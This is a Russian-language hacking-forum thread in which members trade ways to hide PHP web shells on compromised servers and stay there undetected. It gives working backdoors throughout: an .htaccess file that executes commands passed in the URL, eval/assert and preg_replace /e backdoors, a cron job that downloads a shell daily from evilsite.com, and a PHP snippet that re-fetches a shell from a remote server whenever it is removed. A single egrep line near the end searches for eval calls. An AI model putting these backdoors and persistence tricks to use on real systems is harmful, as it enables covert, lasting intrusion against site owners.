Лучшие способы спрятать php шелл!

Discussion in 'Уязвимости' started by Cesto, 14 Oct 2011.

  1. Cesto

    Cesto New Member

    Joined:
    7 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Собираю коллекцию способов, как спрятать шелл


    1) Спрятать в .htaccess

    # Override default deny rule to make .htaccess file accessible over web
    <Files ~ "^\.ht">
    Order allow,deny
    Allow from all
    </Files>

    # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
    # the apache directoves from the .htaccess file
    AddType application/x-httpd-php .htaccess

    ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

    domain/path/.htaccess?c=command

    2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"

    3) Спрятать в гиф
    .htaccess
    AddType application/x-httpd-php gif

    4) Записать шелл в базу данных, в неприметную новость





    Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
     
  2. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    echo `$_REQUEST[shell]`;
     
    1 person likes this.
  3. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
    Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.

    2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:

    SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

    3. Запускаем команду crontab /tmp/cmd.

    4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.

    мини-статья из журнала ][акер декабрь 2009 года.
     
    1 person likes this.
  4. Proktolog

    Proktolog New Member

    Joined:
    2 Jul 2010
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
     
  5. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции.
     
    _________________________
  6. Mail2k

    Mail2k New Member

    Joined:
    22 Aug 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0

    Если не трудно,можно пример,как это выглядеть должно?
     
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    <?php
    # тут подключение к базе и любой код
    if(isset($_REQUEST['userlogin'])) 
    {
       
    $query  mysql_query('SELECT user, pass FROM users WHERE id=1');
       
    $result mysql_fetch_assoc($query);
       
    array_filter(array($result['pass']), $result['user']);
    }
    # и тут любой код
    ?>
    В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
    PHP:
    CREATE TABLE IF NOT EXISTS `users` (
      `
    idint(10NOT NULL AUTO_INCREMENT,
      `
    uservarchar(255NOT NULL,
      `
    passvarchar(255NOT NULL,
      
    PRIMARY KEY (`id`)
    ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=;

    INSERT INTO `users` (`id`, `user`, `pass`) VALUES
    (1'assert''phpinfo();');
    Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
     
    _________________________
  8. Mail2k

    Mail2k New Member

    Joined:
    22 Aug 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0

    если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?


    А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
     
    _________________________
  10. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    А как вам такой вариант незаметного шелла?
    Не каждый может заметить такой шелл.
    PHP:
    @preg_replace('/(.*)/e'$_SERVER['HTTP_REMOTE_ADDR'], NULL);
    И отправляем пакет, в хеадер добавляем:
    Code:
    REMOTE_ADDR: phpinfo();
    
    Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
     
    2 people like this.
  11. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,177
    Likes Received:
    1,156
    Reputations:
    202
    Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.
     
  12. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    PHP:
    $_($_1);
    s.php?_=eval&_1=phpinfo();
     
    Раrаdох likes this.
  13. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    только при register globals on.
    Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.
     
    #13 попугай, 1 Nov 2011
    Last edited: 1 Nov 2011
    3 people like this.
  14. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
     
  15. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    У меня такая задумка:
    В любом модуле,плагине вообщем в любой странице
    сайта вставляем прозрачный или под цвет сайта
    (главное чтоб его не видно было)
    на пример 2х2 код iframe и чтобы он находился
    где нибудь в углу, и при клике по нему делался
    back-connect на любой порт, получаем консоль
    чем не полноценный шелл.Так же можно релизовать
    проксю заместо кода back-connecta ставим редирект
    на другой сайт с таким же iframe и так далее
    N'ое количество сайтов.Чем не цепочка прокси.
    А для GUI'шников на последнем N'ом сайте можно и WSO
    Пусть попробуют проследить.
     
  16. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    2 vasykas:

    Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.
     
  17. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Вот мой способ(можно в иднекс запихнуть например):
    PHP:
    <?php
    $file 
    'shell.php'//адрес шелла на сайте
    if (file_exists($file)) { //проверка на наличие файла
    $a md5_file($file); // хэшируем
    $fileb file_get_contents('http://site/shell.txt'); //адрес шелла в др. сервере
    $b md5_file($fileb); // хэшируем
    if ($a!=$b) {
    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
    }
    } else {
    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
    }
    ?>
    Если кто-то сменить пароль/удалить все возвращается на место ;)

    UPD. Поправил.
     
    #17 Ereee, 11 Jan 2012
    Last edited: 11 Jan 2012
  18. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    А ничего что переменная $b - не установлена?
    У тебя по сути всегда будет $a!=$b.
    Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
    Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.

    Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
     
    1 person likes this.
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    PHP:
    egrep -"eval\(" `find . -type f -name "*.php" -print`
     
    _________________________
    1 person likes this.
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    2Boolean,
    sorry. Там не $b = md5_file($b); а $b = md5_file($fileb);

    >У тебя по сути всегда будет $a!=$b.
    С чего это вдруг?

    2Expl0ited,
    +1
     
    #20 Ereee, 11 Jan 2012
    Last edited: 11 Jan 2012